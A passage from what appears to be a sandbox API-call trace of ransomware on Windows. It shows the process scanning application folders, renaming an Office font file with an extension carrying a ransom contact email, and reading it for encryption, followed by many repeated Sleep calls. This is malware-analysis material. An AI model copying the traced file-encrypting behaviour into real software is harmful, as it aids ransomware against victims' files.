Size=0x4ba8) returned 0x6fe3bb0 [0275.169] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\toast.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\toast.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.172] Sleep (dwMilliseconds=0x1) [0275.187] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.scale-150.png", len=0x87 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.scale-150.png") returned 1 [0275.187] GetProcessHeap () returned 0x630000 [0275.187] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b94) returned 0x6fe3bb0 [0275.187] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.wink.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.wink.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.189] Sleep (dwMilliseconds=0x1) [0275.199] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.small.scale-150.png", len=0x8e | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.small.scale-150.png") returned 1 [0275.199] GetProcessHeap () returned 0x630000 [0275.199] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b88) returned 0x6fe3bb0 [0275.199] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.smile.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.smile.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.201] Sleep (dwMilliseconds=0x1) [0275.216] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.small.scale-150.png", len=0x96 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.small.scale-150.png") returned 1 [0275.216] GetProcessHeap () returned 0x630000 [0275.216] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b74) returned 0x6fe3bb0 [0275.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.wink.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.wink.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.217] Sleep (dwMilliseconds=0x1) [0275.230] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.scale-150.png", len=0x94 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.scale-150.png") returned 1 [0275.230] GetProcessHeap () returned 0x630000 [0275.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b68) returned 0x6fe3bb0 [0275.231] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.surprise.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.surprise.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.233] Sleep (dwMilliseconds=0x1) [0275.295] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-150.png", len=0x8f | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-150.png") returned 1 [0275.295] GetProcessHeap () returned 0x630000 [0275.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b54) returned 0x6fe3bb0 [0275.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim2.sad.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim2.sad.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.296] Sleep (dwMilliseconds=0x1) [0275.309] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-150.png", len=0x9a | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-150.png") returned 1 [0275.309] GetProcessHeap () returned 0x630000 [0275.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b48) returned 0x6fe3bb0 [0275.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\starttile.dualsim1.surprise.small.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\starttile.dualsim1.surprise.small.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.311] Sleep (dwMilliseconds=0x1) [0275.329] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x74 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0275.329] GetProcessHeap () returned 0x630000 [0275.329] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b18) returned 0x6fe3bb0 [0275.329] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.332] Sleep (dwMilliseconds=0x1) [0275.339] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x78 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0275.339] GetProcessHeap () returned 0x630000 [0275.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b10) returned 0x6fe3bb0 [0275.339] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.339] Sleep (dwMilliseconds=0x1) [0275.355] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF", len=0x45 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF") returned 1 [0275.355] GetProcessHeap () returned 0x630000 [0275.355] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4af8) returned 0x6fe3bb0 [0275.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pristina.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0275.394] CloseHandle (hObject=0x410) returned 1 [0275.394] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0275.394] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pristina.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pristina.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0275.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87ada680, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x87ada680, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c13f97, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x142f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRISTINA.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRISTI~1.FIR")) returned 0x6d4f80 [0275.395] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0275.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\PRISTINA.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\pristina.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0275.395] GetProcessHeap () returned 0x630000 [0275.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0275.395] GetProcessHeap () returned 0x630000 [0275.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0275.395] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.395] ReadFile (in: hFile=0x410, lpBuffer=0x72de948, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 49 os_tid = 0xf94 [0067.422] Sleep (dwMilliseconds=0x1) [0067.430] Sleep (dwMilliseconds=0x1) [0067.443] Sleep (dwMilliseconds=0x1) [0067.459] Sleep (dwMilliseconds=0x1) [0067.476] Sleep (dwMilliseconds=0x1) [0067.491] Sleep (dwMilliseconds=0x1) [0067.514] Sleep (dwMilliseconds=0x1) [0067.522] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.554] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.663] Sleep (dwMilliseconds=0x1) [0067.678] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.709] Sleep (dwMilliseconds=0x1) [0067.726] Sleep (dwMilliseconds=0x1) [0067.740] Sleep (dwMilliseconds=0x1) [0067.764] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.790] Sleep (dwMilliseconds=0x1) [0067.931] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.151] Sleep (dwMilliseconds=0x1) [0068.278] Sleep (dwMilliseconds=0x1) [0068.400] Sleep (dwMilliseconds=0x1) [0068.494] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.699] Sleep (dwMilliseconds=0x1) [0068.745] Sleep (dwMilliseconds=0x1) [0068.794] Sleep (dwMilliseconds=0x1) [0068.841] Sleep (dwMilliseconds=0x1) [0068.885] Sleep (dwMilliseconds=0x1) [0068.933] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.046] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.157] Sleep (dwMilliseconds=0x1) [0069.200] Sleep (dwMilliseconds=0x1) [0069.247] Sleep (dwMilliseconds=0x1) [0069.294] Sleep (dwMilliseconds=0x1) [0069.376] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.481] Sleep (dwMilliseconds=0x1) [0069.524] Sleep (dwMilliseconds=0x1) [0069.687] Sleep (dwMilliseconds=0x1) [0069.921] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.264] Sleep (dwMilliseconds=0x1) [0070.380] Sleep (dwMilliseconds=0x1) [0070.536] Sleep (dwMilliseconds=0x1) [0070.874] Sleep (dwMilliseconds=0x1) [0071.564] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.424] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.801] Sleep (dwMilliseconds=0x1) [0072.952] Sleep (dwMilliseconds=0x1) [0073.102] Sleep (dwMilliseconds=0x1) [0073.606] Sleep (dwMilliseconds=0x1) [0073.777] Sleep (dwMilliseconds=0x1) [0073.975] Sleep (dwMilliseconds=0x1) [0074.074] Sleep (dwMilliseconds=0x1) [0074.182] Sleep (dwMilliseconds=0x1) [0074.379] Sleep (dwMilliseconds=0x1) [0074.672] Sleep (dwMilliseconds=0x1) [0074.770] Sleep (dwMilliseconds=0x1) [0074.850] Sleep (dwMilliseconds=0x1) [0074.907] Sleep (dwMilliseconds=0x1) [0074.998] Sleep (dwMilliseconds=0x1) [0075.062] Sleep (dwMilliseconds=0x1) [0075.104] Sleep (dwMilliseconds=0x1) [0075.159] Sleep (dwMilliseconds=0x1) [0075.220] Sleep (dwMilliseconds=0x1) [0075.260] Sleep (dwMilliseconds=0x1) [0075.309] Sleep (dwMilliseconds=0x1) [0075.357] Sleep (dwMilliseconds=0x1) [0075.425] Sleep (dwMilliseconds=0x1) [0075.515] Sleep (dwMilliseconds=0x1) [0075.566] Sleep (dwMilliseconds=0x1) [0075.614] Sleep (dwMilliseconds=0x1) [0075.697] Sleep (dwMilliseconds=0x1) [0075.746] Sleep (dwMilliseconds=0x1) [0075.791] Sleep (dwMilliseconds=0x1) [0075.832] Sleep (dwMilliseconds=0x1) [0076.047] Sleep (dwMilliseconds=0x1) [0076.060] Sleep (dwMilliseconds=0x1) [0076.086] Sleep (dwMilliseconds=0x1) [0076.104] Sleep (dwMilliseconds=0x1) [0076.189] Sleep (dwMilliseconds=0x1) [0076.388] Sleep (dwMilliseconds=0x1) [0076.533] Sleep (dwMilliseconds=0x1) [0076.669] Sleep (dwMilliseconds=0x1) [0076.773] Sleep (dwMilliseconds=0x1) [0076.806] Sleep (dwMilliseconds=0x1) [0076.845] Sleep (dwMilliseconds=0x1) [0076.869] Sleep (dwMilliseconds=0x1) [0076.923] Sleep (dwMilliseconds=0x1) [0076.982] Sleep (dwMilliseconds=0x1) [0077.071] Sleep (dwMilliseconds=0x1) [0077.152] Sleep (dwMilliseconds=0x1) [0077.221] Sleep (dwMilliseconds=0x1) [0077.289] Sleep (dwMilliseconds=0x1) [0077.359] Sleep (dwMilliseconds=0x1) [0077.413] Sleep (dwMilliseconds=0x1) [0077.520] Sleep (dwMilliseconds=0x1) [0077.598] Sleep (dwMilliseconds=0x1) [0077.648] Sleep (dwMilliseconds=0x1) [0077.689] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.783] Sleep (dwMilliseconds=0x1) [0077.832] Sleep (dwMilliseconds=0x1) [0077.857] Sleep (dwMilliseconds=0x1) [0077.911] Sleep (dwMilliseconds=0x1) [0077.959] Sleep (dwMilliseconds=0x1) [0077.981] Sleep (dwMilliseconds=0x1) [0078.062] Sleep (dwMilliseconds=0x1) [0078.089] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.198] Sleep (dwMilliseconds=0x1) [0078.221] Sleep (dwMilliseconds=0x1) [0078.241] Sleep (dwMilliseconds=0x1) [0078.250] Sleep (dwMilliseconds=0x1) [0078.275] Sleep (dwMilliseconds=0x1) [0078.283] Sleep (dwMilliseconds=0x1) [0078.316] Sleep (dwMilliseconds=0x1) [0078.357] Sleep (dwMilliseconds=0x1) [0078.382] Sleep (dwMilliseconds=0x1) [0078.448] Sleep (dwMilliseconds=0x1) [0078.532] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.610] Sleep (dwMilliseconds=0x1) [0078.626] Sleep (dwMilliseconds=0x1) [0078.646] Sleep (dwMilliseconds=0x1) [0078.659] Sleep (dwMilliseconds=0x1) [0078.676] Sleep (dwMilliseconds=0x1) [0078.710] Sleep (dwMilliseconds=0x1) [0078.719] Sleep (dwMilliseconds=0x1) [0078.740] Sleep (dwMilliseconds=0x1) [0078.751] Sleep (dwMilliseconds=0x1) [0078.772] Sleep (dwMilliseconds=0x1) [0078.784] Sleep (dwMilliseconds=0x1) [0078.843] Sleep (dwMilliseconds=0x1) [0078.891] Sleep (dwMilliseconds=0x1) [0078.928] Sleep (dwMilliseconds=0x1) [0078.944] Sleep (dwMilliseconds=0x1) [0078.958] Sleep (dwMilliseconds=0x1) [0078.977] Sleep (dwMilliseconds=0x1) [0079.004] Sleep (dwMilliseconds=0x1) [0079.030] Sleep (dwMilliseconds=0x1) [0079.051] Sleep (dwMilliseconds=0x1) [0079.078] Sleep (dwMilliseconds=0x1) [0079.099] Sleep (dwMilliseconds=0x1) [0079.115] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.158] Sleep (dwMilliseconds=0x1) [0079.226] Sleep (dwMilliseconds=0x1) [0079.249] Sleep (dwMilliseconds=0x1) [0079.271] Sleep (dwMilliseconds=0x1) [0079.285] Sleep (dwMilliseconds=0x1) [0079.302] Sleep (dwMilliseconds=0x1) [0079.314] Sleep (dwMilliseconds=0x1) [0079.331] Sleep (dwMilliseconds=0x1) [0079.346] Sleep (dwMilliseconds=0x1) [0079.363] Sleep (dwMilliseconds=0x1) [0079.376] Sleep (dwMilliseconds=0x1) [0079.399] Sleep (dwMilliseconds=0x1) [0079.415] Sleep (dwMilliseconds=0x1) [0079.425] Sleep (dwMilliseconds=0x1) [0079.445] Sleep (dwMilliseconds=0x1) [0079.518] Sleep (dwMilliseconds=0x1) [0079.541] Sleep (dwMilliseconds=0x1) [0079.548] Sleep (dwMilliseconds=0x1) [0079.599] Sleep (dwMilliseconds=0x1) [0079.612] Sleep (dwMilliseconds=0x1) [0079.627] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.659] Sleep (dwMilliseconds=0x1) [0079.677] Sleep (dwMilliseconds=0x1) [0079.694] Sleep (dwMilliseconds=0x1) [0079.731] Sleep (dwMilliseconds=0x1) [0079.743] Sleep (dwMilliseconds=0x1) [0079.801] Sleep (dwMilliseconds=0x1) [0079.815] Sleep (dwMilliseconds=0x1) [0079.831] Sleep (dwMilliseconds=0x1) [0079.890] Sleep (dwMilliseconds=0x1) [0079.916] Sleep (dwMilliseconds=0x1) [0079.932] Sleep (dwMilliseconds=0x1) [0079.939] Sleep (dwMilliseconds=0x1) [0079.985] Sleep (dwMilliseconds=0x1) [0080.049] Sleep (dwMilliseconds=0x1) [0080.069] Sleep (dwMilliseconds=0x1) [0080.085] Sleep (dwMilliseconds=0x1) [0080.099] Sleep (dwMilliseconds=0x1) [0080.137] Sleep (dwMilliseconds=0x1) [0080.159] Sleep (dwMilliseconds=0x1) [0080.174] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.261] Sleep (dwMilliseconds=0x1) [0080.268] Sleep (dwMilliseconds=0x1) [0080.286] Sleep (dwMilliseconds=0x1) [0080.300] Sleep (dwMilliseconds=0x1) [0080.320] Sleep (dwMilliseconds=0x1) [0080.342] Sleep (dwMilliseconds=0x1) [0080.362] Sleep (dwMilliseconds=0x1) [0080.381] Sleep (dwMilliseconds=0x1) [0080.393] Sleep (dwMilliseconds=0x1) [0080.409] Sleep (dwMilliseconds=0x1) [0080.427] Sleep (dwMilliseconds=0x1) [0080.440] Sleep (dwMilliseconds=0x1) [0080.504] Sleep (dwMilliseconds=0x1) [0080.525] Sleep (dwMilliseconds=0x1) [0080.548] Sleep (dwMilliseconds=0x1) [0080.566] Sleep (dwMilliseconds=0x1) [0080.583] Sleep (dwMilliseconds=0x1) [0080.604] Sleep (dwMilliseconds=0x1) [0080.615] Sleep (dwMilliseconds=0x1) [0080.659] Sleep (dwMilliseconds=0x1) [0080.674] Sleep (dwMilliseconds=0x1) [0080.702] Sleep (dwMilliseconds=0x1) [0080.724] Sleep (dwMilliseconds=0x1) [0080.764] Sleep (dwMilliseconds=0x1) [0080.789] Sleep (dwMilliseconds=0x1) [0080.804] Sleep (dwMilliseconds=0x1) [0080.820] Sleep (dwMilliseconds=0x1) [0080.835] Sleep (dwMilliseconds=0x1) [0080.848] Sleep (dwMilliseconds=0x1) [0080.887] Sleep (dwMilliseconds=0x1) [0080.919] Sleep (dwMilliseconds=0x1) [0080.942] Sleep (dwMilliseconds=0x1) [0080.956] Sleep (dwMilliseconds=0x1) [0080.979] Sleep (dwMilliseconds=0x1) [0080.989] Sleep (dwMilliseconds=0x1) [0081.005] Sleep (dwMilliseconds=0x1) [0081.017] Sleep (dwMilliseconds=0x1) [0081.038] Sleep (dwMilliseconds=0x1) [0081.048] Sleep (dwMilliseconds=0x1) [0081.287] Sleep (dwMilliseconds=0x1) [0081.438] Sleep (dwMilliseconds=0x1) [0081.526] Sleep (dwMilliseconds=0x1) [0081.542] Sleep (dwMilliseconds=0x1) [0081.558] Sleep (dwMilliseconds=0x1) [0081.566] Sleep (dwMilliseconds=0x1) [0081.580] Sleep (dwMilliseconds=0x1) [0081.601] Sleep (dwMilliseconds=0x1) [0081.611] Sleep (dwMilliseconds=0x1) [0081.630] Sleep (dwMilliseconds=0x1) [0081.663] Sleep (dwMilliseconds=0x1) [0081.684] Sleep (dwMilliseconds=0x1) [0081.712] Sleep (dwMilliseconds=0x1) [0081.754] Sleep (dwMilliseconds=0x1) [0081.779] Sleep (dwMilliseconds=0x1) [0081.835] Sleep (dwMilliseconds=0x1) [0081.846] Sleep (dwMilliseconds=0x1) [0081.888] Sleep (dwMilliseconds=0x1) [0081.912] Sleep (dwMilliseconds=0x1) [0081.924] Sleep (dwMilliseconds=0x1) [0081.945] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.984] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.053] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.115] Sleep (dwMilliseconds=0x1) [0082.129] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.278] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.539] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.686] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.778] Sleep (dwMilliseconds=0x1) [0082.820] Sleep (dwMilliseconds=0x1) [0082.872] Sleep (dwMilliseconds=0x1) [0082.914] Sleep (dwMilliseconds=0x1) [0082.970] Sleep (dwMilliseconds=0x1) [0083.014] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.244] Sleep (dwMilliseconds=0x1) [0083.291] Sleep (dwMilliseconds=0x1) [0083.339] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.438] Sleep (dwMilliseconds=0x1) [0083.701] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.800] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.011] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.200] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.736] Sleep (dwMilliseconds=0x1) 